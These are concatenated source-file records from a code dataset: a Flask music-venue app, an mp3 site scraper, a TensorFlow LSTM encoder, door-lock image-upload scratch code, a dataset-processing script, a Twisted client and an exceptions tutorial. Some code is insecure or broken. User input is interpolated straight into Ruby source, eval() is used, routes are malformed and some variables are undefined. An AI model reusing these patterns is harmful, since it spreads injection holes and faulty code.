1,\n# \"venue_name\": \"The Musical Hop\",\n# \"venue_image_link\": \"https://images.unsplash.com/photo-1543900694-133f37abaaa5?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=400&q=60\",\n# \"start_time\": \"2019-05-21T21:30:00.000Z\"\n# }],\n# \"upcoming_shows\": [],\n# \"past_shows_count\": 1,\n# \"upcoming_shows_count\": 0,\n# }\n# data2={\n# \"id\": 5,\n# \"name\": \"Matt Quevedo\",\n# \"genres\": [\"Jazz\"],\n# \"city\": \"New York\",\n# \"state\": \"NY\",\n# \"phone\": \"300-400-5000\",\n# \"facebook_link\": \"https://www.facebook.com/mattquevedo923251523\",\n# \"seeking_venue\": False,\n# \"image_link\": \"https://images.unsplash.com/photo-1495223153807-b916f75de8c5?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=334&q=80\",\n# \"past_shows\": [{\n# \"venue_id\": 3,\n# \"venue_name\": \"Park Square Live Music & Coffee\",\n# \"venue_image_link\": \"https://images.unsplash.com/photo-1485686531765-ba63b07845a7?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=747&q=80\",\n# \"start_time\": \"2019-06-15T23:00:00.000Z\"\n# }],\n# \"upcoming_shows\": [],\n# \"past_shows_count\": 1,\n# \"upcoming_shows_count\": 0,\n# }\n# data3={\n# \"id\": 6,\n# \"name\": \"The Wild Sax Band\",\n# \"genres\": [\"Jazz\", \"Classical\"],\n# \"city\": \"San Francisco\",\n# \"state\": \"CA\",\n# \"phone\": \"432-325-5432\",\n# \"seeking_venue\": False,\n# \"image_link\": \"https://images.unsplash.com/photo-1558369981-f9ca78462e61?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=794&q=80\",\n# \"past_shows\": [],\n# \"upcoming_shows\": [{\n# \"venue_id\": 3,\n# \"venue_name\": \"Park Square Live Music & Coffee\",\n# \"venue_image_link\": \"https://images.unsplash.com/photo-1485686531765-ba63b07845a7?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=747&q=80\",\n# \"start_time\": \"2035-04-01T20:00:00.000Z\"\n# }, {\n# \"venue_id\": 3,\n# \"venue_name\": \"Park Square Live Music & Coffee\",\n# \"venue_image_link\": \"https://images.unsplash.com/photo-1485686531765-ba63b07845a7?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=747&q=80\",\n# \"start_time\": \"2035-04-08T20:00:00.000Z\"\n# }, {\n# \"venue_id\": 3,\n# \"venue_name\": \"Park Square Live Music & Coffee\",\n# \"venue_image_link\": \"https://images.unsplash.com/photo-1485686531765-ba63b07845a7?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=747&q=80\",\n# \"start_time\": \"2035-04-15T20:00:00.000Z\"\n# }],\n# \"past_shows_count\": 0,\n# \"upcoming_shows_count\": 3,\n# }\n# data = list(filter(lambda d: d['id'] == artist_id, [data1, data2, data3]))[0]\n# return render_template('pages/show_artist.html', artist=data)\n\n# Update\n# ----------------------------------------------------------------\n@app.route('/artists//edit', methods=['GET'])\ndef edit_artist(artist_id):\n form = ArtistForm(request.form)\n artist = Artist.query.filter_by(id=artist_id).first_or_404()\n return render_template('forms/edit_artist.html', form=form, artist=artist)\n\n# @app.route('/artists//edit', methods=['GET'])\n# def edit_artist(artist_id):\n# form = ArtistForm()\n# artist={\n# \"id\": 4,\n# \"name\": \"Guns N Petals\",\n# \"genres\": [\"Rock n Roll\"],\n# \"city\": \"San Francisco\",\n# \"state\": \"CA\",\n# \"phone\": \"326-123-5000\",\n# \"website\": \"https://www.gunsnpetalsband.com\",\n# \"facebook_link\": \"https://www.facebook.com/GunsNPetals\",\n# \"seeking_venue\": True,\n# \"seeking_description\": \"Looking for shows to perform at in the San Francisco Bay Area!\",\n# \"image_link\": \"https://images.unsplash.com/photo-1549213783-8284d0336c4f?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=300&q=80\"\n# }\n# # TODO: populate form with fields from artist with ID \n# return render_template('forms/edit_artist.html', form=form, artist=artist)\n\n@app.route('/artists//edit', methods=['POST'])\ndef edit_artist_submission(artist_id):\n artist = Artist.query.filter_by(id=artist_id).first_or_404()\n form = ArtistForm(request.form)\n if form.validate():\n try:\n artist.name = form.name.data\n artist.city = form.city.data\n artist.state = form.state.data\n artist.phone = form.phone.data\n artist.genres = form.genres.choices\n artist.facebook_link = form.facebook_link.data\n artist.image_link = form.image_link.data\n artist.website = form.website.data\n artist.seeking_venue = form.seeking_venue.data\n artist.seeking_description = form.seeking_description.data\n db.session.commit()\n flash('Artist ' + artist.name + ' was successfully edited!')\n except ValueError:\n db.session.rollback()\n flash('Error! Artist ' + artist.name + ' could not be listed.')\n else:\n message = []\n for field, errors in form.errors.items():\n message.append(form[field].label + ', '.join(errors))\n flash('Errors: ' + '|'.join(message))\n return redirect(url_for('show_artist', artist_id=artist_id))\n\n# @app.route('/artists//edit', methods=['POST'])\n# def edit_artist_submission(artist_id):\n# # TODO: take values from the form submitted, and update existing\n# # artist record with ID using the new attributes\n\n# return redirect(url_for('show_artist', artist_id=artist_id))\n\n@app.route('/venues//edit', methods=['GET'])\ndef edit_venue(venue_id):\n form = VenueForm(request.form)\n venue = Venue.query.filter_by(id=venue_id).first_or_404()\n return render_template('forms/edit_venue.html', form=form, venue=venue)\n\n# @app.route('/venues//edit', methods=['GET'])\n# def edit_venue(venue_id):\n# form = VenueForm()\n# venue={\n# \"id\": 1,\n# \"name\": \"The Musical Hop\",\n# \"genres\": [\"Jazz\", \"Reggae\", \"Swing\", \"Classical\", \"Folk\"],\n# \"address\": \"1015 Folsom Street\",\n# \"city\": \"San Francisco\",\n# \"state\": \"CA\",\n# \"phone\": \"123-123-1234\",\n# \"website\": \"https://www.themusicalhop.com\",\n# \"facebook_link\": \"https://www.facebook.com/TheMusicalHop\",\n# \"seeking_talent\": True,\n# \"seeking_description\": \"We are on the lookout for a local artist to play every two weeks. Please call us.\",\n# \"image_link\": \"https://images.unsplash.com/photo-1543900694-133f37abaaa5?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=400&q=60\"\n# }\n# # TODO: populate form with values from venue with ID \n# return render_template('forms/edit_venue.html', form=form, venue=venue)\n\n@app.route('/artists//edit', methods=['POST'])\ndef edit_venue_submission(venue_id):\n venue = Venue.query.filter_by(id=venue_id).first_or_404()\n form = VenueForm(request.form)\n if form.validate():\n try:\n venue.name = form.name.data\n venue.city = form.city.data\n venue.state = form.state.data\n venue.phone = form.phone.data\n venue.genres = form.genres.choices\n venue.facebook_link = form.facebook_link.data\n venue.image_link = form.image_link.data\n venue.website = form.website.data\n venue.seeking_talent = form.seeking_talent.data\n venue.seeking_description = form.seeking_description.data\n db.session.commit()\n flash('Venue ' + venue.name + ' was successfully edited!')\n except ValueError:\n db.session.rollback()\n flash('Error! Venue ' + venue.name + ' could not be listed.')\n else:\n message = []\n for field, errors in form.errors.items():\n message.append(form[field].label + ', '.join(errors))\n flash('Errors: ' + '|'.join(message))\n return redirect(url_for('show_venue', venue_id=venue_id))\n\n# @app.route('/venues//edit', methods=['POST'])\n# def edit_venue_submission(venue_id):\n# # TODO: take values from the form submitted, and update existing\n# # venue record with ID using the new attributes\n# return redirect(url_for('show_venue', venue_id=venue_id))\n\n# Create Artist\n# ----------------------------------------------------------------\n\n@app.route('/artists/create', methods=['GET'])\ndef create_artist_form():\n form = ArtistForm(request.form)\n return render_template('forms/new_artist.html', form=form)\n\n# @app.route('/artists/create', methods=['POST'])\n# def create_artist_submission():\n# # called upon submitting the new artist listing form\n# # TODO: insert form data as a new Venue record in the db, instead\n# # TODO: modify data to be the data object returned from db insertion\n\n# # on successful db insert, flash success\n# flash('Artist ' + request.form['name'] + ' was successfully listed!')\n# # TODO: on unsuccessful db insert, flash an error instead.\n# # e.g., flash('An error occurred. Artist ' + data.name + ' could not be listed.')\n# return render_template('pages/home.html')\n\n@app.route('/artists/create', methods=['POST'])\ndef create_artist_submission():\n error = False\n data = request.form\n aname = data['name']\n acity = data['city']\n astate = data['state']\n aphone = data['phone']\n agenres = request.form.getlist('genres')\n afb_link = data['facebook_link']\n aimage_link = data['image_link']\n awebsite = data['website']\n if data['seeking_venue'] == 'True':\n aseeking_venue = True\n else:\n aseeking_venue = False\n aseeking_description = data['seeking_description']\n try:\n db.session.add(Artist(\n city=acity,\n state=astate,\n name=aname,\n phone=aphone,\n facebook_link=afb_link,\n genres=agenres,\n seeking_venue=aseeking_venue,\n seeking_description=aseeking_description,\n website=awebsite,\n image_link=aimage_link\n ))\n except:\n error = True\n finally:\n if not error:\n db.session.commit()\n flash('Artist ' + request.form['name'] +\n ' was successfully listed!')\n else:\n flash('An error occurred. Artist ' +\n aname + ' could not be listed.')\n db.session.rollback()\n return render_template('pages/home.html')\n\n# @app.route('/artists/create', methods=['POST'])\n# def create_artist_submission():\n# error = False\n# try:\n# newArtist=request.form.get('form', '')\n# db.session.add(newArtist)\n# db.session.commit()\n# except:\n# error = True\n# db.session.rollback()\n# print(sys.exc_info())\n# finally:\n# db.session.close()\n# if error:\n# flash('An error occurred. Artist ' + request.form['name'] + ' could not be listed.')\n# else:\n# flash('Artist ' + request.form['name'] + ' was successfully listed!')\n# return render_template('pages/home.html')\n\n# Shows\n# ----------------------------------------------------------------\n@app.route('/shows')\ndef shows():\n result = []\n shows = Show.query.join(Venue, Show.venue_id == Venue.id).join(Artist, Artist.id == Show.artist_id).all()\n for show in shows:\n showObj = {\"venue_id\": show.venue_id,\n \"venue_name\": show.venue.name,\n \"artist_id\": show.artist_id,\n \"artist_name\": show.artist.name,\n \"artist_image_link\": show.artist.image_link,\n \"start_time\": str(show.start_time)\n }\n result.append(showObj)\n return render_template('pages/shows.html', shows=result)\n\n# @app.route('/shows')\n# def shows():\n# # displays list of shows at /shows\n# # TODO: replace with real venues data.\n# # num_shows should be aggregated based on number of upcoming shows per venue.\n# data=[{\n# \"venue_id\": 1,\n# \"venue_name\": \"The Musical Hop\",\n# \"artist_id\": 4,\n# \"artist_name\": \"Guns N Petals\",\n# \"artist_image_link\": \"https://images.unsplash.com/photo-1549213783-8284d0336c4f?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=300&q=80\",\n# \"start_time\": \"2019-05-21T21:30:00.000Z\"\n# }, {\n# \"venue_id\": 3,\n# \"venue_name\": \"Park Square Live Music & Coffee\",\n# \"artist_id\": 5,\n# \"artist_name\": \"Matt Quevedo\",\n# \"artist_image_link\": \"https://images.unsplash.com/photo-1495223153807-b916f75de8c5?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=334&q=80\",\n# \"start_time\": \"2019-06-15T23:00:00.000Z\"\n# }, {\n# \"venue_id\": 3,\n# \"venue_name\": \"Park Square Live Music & Coffee\",\n# \"artist_id\": 6,\n# \"artist_name\": \"The Wild Sax Band\",\n# \"artist_image_link\": \"https://images.unsplash.com/photo-1558369981-f9ca78462e61?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=794&q=80\",\n# \"start_time\": \"2035-04-01T20:00:00.000Z\"\n# }, {\n# \"venue_id\": 3,\n# \"venue_name\": \"Park Square Live Music & Coffee\",\n# \"artist_id\": 6,\n# \"artist_name\": \"The Wild Sax Band\",\n# \"artist_image_link\": \"https://images.unsplash.com/photo-1558369981-f9ca78462e61?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=794&q=80\",\n# \"start_time\": \"2035-04-08T20:00:00.000Z\"\n# }, {\n# \"venue_id\": 3,\n# \"venue_name\": \"Park Square Live Music & Coffee\",\n# \"artist_id\": 6,\n# \"artist_name\": \"The Wild Sax Band\",\n# \"artist_image_link\": \"https://images.unsplash.com/photo-1558369981-f9ca78462e61?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=794&q=80\",\n# \"start_time\": \"2035-04-15T20:00:00.000Z\"\n# }]\n# return render_template('pages/shows.html', shows=data)\n\n@app.route('/shows/create')\ndef create_shows():\n # renders form. do not touch.\n form = ShowForm()\n return render_template('forms/new_show.html', form=form)\n\n# @app.route('/shows/create', methods=['POST'])\n# def create_show_submission():\n# # called to create new shows in the db, upon submitting new show listing form\n# # TODO: [COMPLETED] insert form data as a new Show record in the db, instead\n# error = False\n# date_format = '%Y-%m-%d %H:%M:%S'\n# try:\n# show = Show()\n# show.artist_id = request.form['artist_id']\n# show.venue_id = request.form['venue_id']\n# show.start_time = datetime.strptime(request.form['start_time'], date_format)\n# db.session.add(show)\n# db.session.commit()\n# except Exception as e:\n# error = True\n# print(f'Error ==> {e}')\n# db.session.rollback()\n# finally:\n# db.session.close()\n# if error: flash('An error occurred. Show could not be listed.')\n# else: flash('Show was successfully listed!')\n# return render_template('pages/home.html')\n\n@app.route('/shows/create', methods=['POST'])\ndef create_show_submission():\n error = False\n data = request.form\n sstart_time = str(data['start_time'])\n sartist_id = data['artist_id']\n svenue_id = data['venue_id']\n try:\n newShow = Show(\n artist_id = sartist_id,\n venue_id = svenue_id,\n start_time = sstart_time\n )\n db.session.add(newShow)\n db.session.commit()\n except:\n error = True\n finally:\n db.session.close()\n if not error:\n db.session.commit()\n flash('Show was successfully listed!')\n else:\n flash('An error occurred. Show could not be listed.')\n db.session.rollback()\n return render_template('pages/home.html')\n\n\n# @app.route('/shows/create', methods=['POST'])\n# def create_show_submission():\n# # called to create new shows in the db, upon submitting new show listing form\n# # TODO: insert form data as a new Show record in the db, instead\n\n# # on successful db insert, flash success\n# flash('Show was successfully listed!')\n# # TODO: on unsuccessful db insert, flash an error instead.\n# # e.g., flash('An error occurred. Show could not be listed.')\n# # see: http://flask.pocoo.org/docs/1.0/patterns/flashing/\n# return render_template('pages/home.html')\n\n@app.errorhandler(404)\ndef not_found_error(error):\n return render_template('errors/404.html'), 404\n\n@app.errorhandler(500)\ndef server_error(error):\n return render_template('errors/500.html'), 500\n\n\nif not app.debug:\n file_handler = FileHandler('error.log')\n file_handler.setFormatter(\n Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')\n )\n app.logger.setLevel(logging.INFO)\n file_handler.setLevel(logging.INFO)\n app.logger.addHandler(file_handler)\n app.logger.info('errors')\n\n#----------------------------------------------------------------------------#\n# Launch.\n#----------------------------------------------------------------------------#\n\n# Default port:\nif __name__ == '__main__':\n app.run()\n\n# Or specify port manually:\n'''\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n'''\n","sub_path":"projects/01_fyyur/starter_code/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":37977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"503166409","text":"from subprocess import Popen, PIPE, STDOUT\nimport re\n\ndef mp3skull(usrSearch, db, browser, songNum):\n\tbrowser.open(db)\n\tsearchForm = browser.get_form(action='/search_db.php')\n\tsearchForm['q'].value = usrSearch\n\tbrowser.submit_form(searchForm)\n\n\tsongNames = browser.select('b')\n\tsongName = re.sub('[    \\s]', '', str(songNames[songNum]))\n\n\tsongLinks = browser.select('.show1')\n\tlink = re.search('(http).+(.mp3)', str(songLinks)).group(0)\n\n\treturn (link, songName)\n\ndef soundowl(usrSearch, db, browser, songNum):\n\tbrowser.open('%ssearch?q=%s' % (db, usrSearch))\n\thtml = str(browser.parsed)\n\tsongNames = browser.select('a.internal')\n\n\tsongTitle = re.search('(?:internal\">).+?(?=)', str(songNames[songNum + 7]))\n\tsongArtist = re.search('(?:internal\">).+?(?=)', str(songNames[songNum + 6]))\n\n\tsongName = '%s - %s' % (songArtist[9:], songTitle[9:])\n\n\tsongLinks = browser.select('a')\n\tbrowser.follow_link(songLinks[9])\n\tlink = re.search('(http).+(.mp3)', str(browser.parsed)).group(0)\n\n\treturn (link, songName)\n\ndef grooveshark(usrSearch, db, browser, songNum):\n\tslave = Popen(['ruby', 'grooveshark.rb'], stdin=PIPE, stdout=PIPE, stderr=STDOUT)\n\t\n\tcode = \"\"\"\n\trequire 'grooveshark'\n\tclient = Grooveshark::Client.new\n\tsession = client.session\n\n\tsongs = client.search_songs({search})\n\tsong = songs[{num}]\n\turl = client.get_song_url(song)\n\tputs(url)\n\n\tSTDOUT.flush\n\t\"\"\".format(search=usrSearch, num=songNum)\n\n\tslave.stdin.write(code)\n\n\twhile True:\n\t\tline = slave.stdout.readline().rstrip()\n\t\tif line == '[end]':\n\t\t\tbreak\n","sub_path":"databases.py","file_name":"databases.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"184670260","text":"from typing import Tuple\n\nimport tensorflow as tf\n\nfrom layers.basic_lstm_cell_with_dropout import (\n basic_lstm_cell_with_dropout,\n)\n\n\ndef DynamicBiDirLSTM(\n input_: tf.Tensor,\n seqlen: tf.Tensor,\n input_dropout: float,\n state_size: int,\n embedding_table: tf.Tensor, # np.ndarray,\n dtype: tf.DType = tf.float32,\n ) -> Tuple[tf.Tensor, tf.nn.rnn_cell.LSTMStateTuple]:\n\n batch_size = tf.shape(input_)[0]\n\n input_with_embedding = tf.nn.embedding_lookup(\n params=embedding_table,\n ids=input_,\n )\n\n input_with_dropout = tf.nn.dropout(\n x=input_with_embedding,\n keep_prob=(1.0 - input_dropout),\n )\n\n with tf.variable_scope('forward'):\n fw_lstm_cell, fw_init_state = basic_lstm_cell_with_dropout(\n state_size=state_size,\n batch_size=batch_size,\n state_dropout=0.0,\n output_dropout=0.0,\n dtype=dtype,\n )\n\n with tf.variable_scope('backward'):\n bw_lstm_cell, bw_init_state = basic_lstm_cell_with_dropout(\n state_size=state_size,\n batch_size=batch_size,\n state_dropout=0.0,\n output_dropout=0.0,\n dtype=dtype,\n )\n\n with tf.variable_scope('bidir_lstm'):\n _, output_state = tf.nn.bidirectional_dynamic_rnn(\n cell_fw=fw_lstm_cell,\n cell_bw=bw_lstm_cell,\n inputs=input_with_dropout,\n sequence_length=seqlen,\n initial_state_fw=fw_init_state,\n initial_state_bw=bw_init_state,\n dtype=dtype,\n )\n concated_h = tf.concat(\n values=[output_state[0].h, output_state[1].h],\n axis=1,\n name='concated_h',\n )\n concated_c = tf.concat(\n values=[output_state[0].c, output_state[1].c],\n axis=1,\n name='concated_c',\n )\n concated_output_state = tf.contrib.rnn.LSTMStateTuple(\n *(concated_h, concated_c),\n )\n latent = tf.identity(concated_h, name='latent_vector')\n return latent, concated_output_state\n","sub_path":"text_autoencoder/encoders/ae/dynamic_bidir_lstm.py","file_name":"dynamic_bidir_lstm.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"510089584","text":"\n\ndb.get_to_db('alist','Forrest Weinberg')\n\nimport zlib\nfrom PIL import Image\nfrom door_lock_db import DoorLockDB\ndb = DoorLockDB()\nfrom base64 import b64encode, b64decode\nimport sys\nimport json\n\nimage = open(\"Professional Headshot (Cropped).jpg\", 'rb')\nread_image = image.read()\nimage_hex = read_image.hex()\nimage_json = json.dumps(image_hex)\ndb.upload_headshot_image('m', image_json)\n\nim = Image.open(\"Professional Headshot (Cropped).jpg\")\n\nimg_bytes = im.tobytes()\n\nresponse = db.upload_headshot_image('--m', img_bytes)\n\nb64_image = b64encode(im.tobytes())\nb64_str_image = str(b64_image)\nb64_json = json.dumps(b64_str_image)\n(width, height) = (200, 200)\n\n# im_resized = im.resize((width, height))\nim.thumbnail(200)\n\nim.save('im_resized.jpg', quality=95, optimize=True)\n\nresized_im = Image.open('im_resized.jpg')\nb64_resized_image = b64encode(resized_im.tobytes())\nb64_str_resized_image = str(b64_resized_image)\n\nprint(f'Here is a comparison of the the size:\\nOriginal: {sys.getsizeof(b64_str_image)}\\nNew File: {sys.getsizeof(b64_str_resized_image)}')\n\nwith open('Professional Headshot (Cropped).jpg', 'rb') as image:\n im = image.read()\n\ncompressed_image = zlib.compress(im, 9)\n\nb64_image = b64encode(im2.tobytes())\nb64_str = str(b64_image)\nb64_json = json.dumps(str(_))\n\nim.save('working_image.png', format='PNG')\n\ndb.post_new_doc('https://doorlock-be53.restdb.io/media', b64_json)\ndb.post_new_doc('https://doorlock-be53.restdb.io/media', b64_str)\n\n\nimport requests\nlatest_file = './image.jpeg'\nheaders = {'x-apikey': '{MY_API_KEY_HERE}'}\nurl = \"https://{MYDATABASE_NAME_HERE}.restdb.io/media\"\nfiles = {'file': open(latest_file, 'rb')}\nr = requests.post(url, files=files, headers=headers)\nprint(r.status_code, r.text)\n\n\nsys.getsizeof(im_base64)\n\n'5d6701b79ce4772e00006715'\n\ndb.update_doc('alist','5d6701b79ce4772e00006715', {'image':'5d66dbd49ce4772e000063b9'})\ndb.get_to_db('alist')","sub_path":"misc details.py","file_name":"misc details.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"271877552","text":"#!/usr/bin/env python\n\"\"\"Process Huang's wireframe dataset for L-CNN network\nUsage:\n dataset/wireframe.py \n dataset/wireframe.py (-h | --help )\nExamples:\n python3 dataset/wireframe.py /datadir/wireframe data/wireframe\nArguments:\n Original data directory\n Directory of the output\nOptions:\n -h --help Show this screen.\n\"\"\"\n\nimport os\nimport xml.etree.ElementTree as ET\nimport sys\nimport json\nfrom itertools import combinations\nimport glob\nfrom skimage import io\nimport copy\nimport cv2\nimport re\nimport numpy as np\nimport skimage.draw\nimport matplotlib.pyplot as plt\nfrom docopt import docopt\nfrom scipy.ndimage import zoom\n\ntry:\n sys.path.append(\".\")\n sys.path.append(\"..\")\n from lcnn.utils import parmap\nexcept Exception:\n raise\n\n\ndef inrange(v, shape):\n return 0 <= v[0] < shape[0] and 0 <= v[1] < shape[1]\n\n\ndef to_int(x):\n return tuple(map(int, x))\n\n\ndef save_heatmap(prefix, image, input_annotation):\n annotation = copy.deepcopy(input_annotation)\n im_rescale = (512, 512)\n heatmap_scale = (128, 128)\n fx, fy = heatmap_scale[0] / image.shape[0], heatmap_scale[1] / image.shape[1]\n center = np.zeros((1,) + heatmap_scale, dtype=np.float32) # [1,128,128]\n corner = np.zeros((1,) + heatmap_scale, dtype=np.float32) # [1,128,128]\n corner_offset = np.zeros((1, 2) + heatmap_scale, dtype=np.float32) # [1,2,128,128]\n corner_bin_offset=np.zeros((1, 2) + heatmap_scale, dtype=np.float32) # [1,2,128,128]\n\n for i in annotation:\n annotation[i]=[[j[0]*fx,j[1]*fy] for j in annotation[i]] #[[np.clip(j[0]*fx,0,heatmap_scale[0] - 1e-4),np.clip(j[1] * fy, 0, heatmap_scale[1] - 1e-4)] for j in annotation[i]]\n center_on_heatmap=[i[0] * fx,i[1] * fy]\n if 0<=int(center_on_heatmap[0])\"]\n data_output = args[\"\"]\n\n os.makedirs(data_output, exist_ok=True)\n for batch in [\"train\", \"valid\"]:\n filelist = glob.glob(f\"{data_root}/{batch}/*.xml\")\n filelist.sort()\n def handle(xmlname):\n iname = xmlname.replace(\"xml\", \"jpg\")\n image = io.imread(iname).astype(np.float32)[:, :, :3]\n image_size = image.shape\n prefix = xmlname.split(\".\")[-2].split('/')[-1]\n os.makedirs(os.path.join(data_output, batch), exist_ok=True)\n path = os.path.join(data_output, batch, prefix)\n try:\n tree = ET.parse(xmlname)\n root = tree.getroot()\n except:\n with open(xmlname) as f:\n xml=f.read()\n root = ET.fromstring(\"\" + xml + \"\")\n annotation={}\n for child_of_root in root.iter(tag='gate_corners'):\n corners = []\n tmp=child_of_root.find('top_left').text.split(',')\n assert len(tmp)==2\n tmp=[image_size[0]-float(tmp[1]),float(tmp[0])]\n if image_size[0]>tmp[0]>=0 and image_size[1]>tmp[1]>=0:\n corners.append(tmp)\n\n tmp = child_of_root.find('top_right').text.split(',')\n assert len(tmp) == 2\n tmp = [image_size[0] - float(tmp[1]), float(tmp[0])]\n if image_size[0]>tmp[0]>=0 and image_size[1]>tmp[1]>=0:\n corners.append(tmp)\n\n tmp = child_of_root.find('bottom_right').text.split(',')\n assert len(tmp) == 2\n tmp = [image_size[0] - float(tmp[1]), float(tmp[0])]\n if image_size[0]>tmp[0]>=0 and image_size[1]>tmp[1]>=0:\n corners.append(tmp)\n\n tmp = child_of_root.find('bottom_left').text.split(',')\n assert len(tmp) == 2\n tmp = [image_size[0] - float(tmp[1]), float(tmp[0])]\n if image_size[0]>tmp[0]>=0 and image_size[1]>tmp[1]>=0:\n corners.append(tmp)\n\n tmp = child_of_root.find('center').text.split(',')\n assert len(tmp) == 2\n tmp = [image_size[0] - float(tmp[1]), float(tmp[0])]\n annotation[tuple(tmp)]=corners\n\n save_heatmap(f\"{path}_0\", image[::, ::], annotation)\n if batch != \"valid\":\n annotation1={}\n for i in annotation:\n annotation1[i[0],image_size[1]-i[1]]=[[j[0],image_size[1]-j[1]] for j in annotation[i]]\n if not save_heatmap(f\"{path}_1\", image[::, ::-1], annotation1):\n return\n\n annotation2={}\n for i in annotation:\n annotation2[image_size[0]-i[0], i[1]]=[[image_size[0]-j[0], j[1]] for j in annotation[i]]\n if not save_heatmap(f\"{path}_2\", image[::-1, ::], annotation2):\n return\n\n annotation3 ={}\n for i in annotation:\n annotation3[image_size[0]-i[0], image_size[1]-i[1]]=[[image_size[0]-j[0], image_size[1]-j[1]] for j in annotation[i]]\n if not save_heatmap(f\"{path}_3\", image[::-1, ::-1], annotation3):\n return\n print(\"Finishing\", os.path.join(data_output, batch, prefix))\n\n parmap(handle, filelist, 1)\n\nif __name__ == \"__main__\":\n main()","sub_path":"Backups/lcnn/dataset/wireframe.py","file_name":"wireframe.py","file_ext":"py","file_size_in_byte":6489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"487706904","text":"# encoding=utf-8\n\nfrom twisted.internet import reactor, protocol\n\nHOST = 'localhost'\nPORT = 12345\n\n\nclass TSClientProtocol(protocol.Protocol):\n def dataReceived(self, data):\n print(data.decode())\n self.sendData()\n\n def connectionMade(self):\n self.sendData()\n\n def sendData(self):\n data = input('> ')\n if data:\n print('sending data %s' % data)\n self.transport.write(data.encode())\n else:\n self.transport.loseConnection()\n\n\nclass TSClientFactory(protocol.ClientFactory):\n protocol = TSClientProtocol\n clientConnectionLost = clientConnectionFailed = \\\n lambda self, connector, reason: reactor.stop()\n\n\nreactor.connectTCP(HOST, PORT, TSClientFactory())\nreactor.run()\n","sub_path":"chapter-02/twistedTcpClient.py","file_name":"twistedTcpClient.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"502482110","text":"# ==============================================================================\n# original program\nprint('original program')\nx = int(input('Enter the first number: '))\ny = int(input('Enter the second number: '))\nprint('first number / second number = ', x / y)\n# Output:\n# Enter the first number: 5\n# Enter the second number: 0\n# Traceback (most recent call last):\n# File \"./tmp.py\", line 4, in \n# print('first number / second number = ', x / y)\n# ZeroDivisionError: division by zero\n\n# ==============================================================================\n# advoid error and catch exception\nprint('advoid error and catch exception')\ntry:\n x = int(input('Enter the first number: '))\n y = int(input('Enter the second number: '))\n print('first number / second number = ', x / y)\nexcept ZeroDivisionError:\n print(\"The second number can't be zero\")\n# Output:\n# Enter the first number: 5\n# Enter the second number: 0\n# The second number can't be zero\n\n# ==============================================================================\n# raise no arguments\nprint('raise no arguments')\n\n\nclass MuffledCalculator(object):\n '''\n Muffled Calculator\n '''\n muffle = False\n\n def calc(self, expr):\n '''\n Calculation function\n '''\n try:\n print(expr, ' = ', eval(expr))\n except ZeroDivisionError:\n if self.muffle:\n print('Division by zero is illegal')\n else:\n raise # no argument\n\n\n# testing\ncalculator = MuffledCalculator()\ncalculator.calc('10/2')\n# Output: 10/2 = 5.0\n\ncalculator.calc('10/0')\n# Output:\n# Traceback (most recent call last):\n# File \"./tmp.py\", line 18, in \n# calculator.calc('10/0')\n# File \"./tmp.py\", line 7, in calc\n# return eval(expr)\n# File \"\", line 1, in \n# ZeroDivisionError: division by zero\n# => raise with no argument\n\ncalculator.muffle = True # set muffle flag\ncalculator.calc('10/0')\n# Output: Division by zero is illegal\n\n# ==============================================================================\n# more than one except clause\nprint('more than one except clause')\ntry:\n x = int(input('Enter the first number: '))\n y = int(input('Enter the second number: '))\n print('first number / second number = ', x / y)\nexcept ZeroDivisionError:\n print(\"The second number can't be zero\")\nexcept TypeError:\n print(\"That wasn't a number, was it?\")\nexcept ValueError:\n print('Invalid literal')\n\n# Output:\n# Enter the first number: 10\n# Enter the second number: 0\n# The second number can't be zero\n# Output:\n# Enter the first number: abc\n# Invalid literal\n\n# ==============================================================================\n# catching two exceptions\nprint('catching two exceptions')\ntry:\n x = int(input('Enter the first number: '))\n y = int(input('Enter the second number: '))\n print('first number / second number = ', x / y)\nexcept (ZeroDivisionError, TypeError, ValueError):\n print(\"Your numbers were bogus... \")\n\n# Output:\n# Enter the first number: 10\n# Enter the second number: 0\n# Your numbers were bogus...\n\n# ==============================================================================\n# catching the object\nprint('catching the object')\ntry:\n x = int(input('Enter the first number: '))\n y = int(input('Enter the second number: '))\n print('first number / second number = ', x / y)\nexcept (ZeroDivisionError, TypeError, ValueError) as e:\n print(e)\n\n# Output:\n# Enter the first 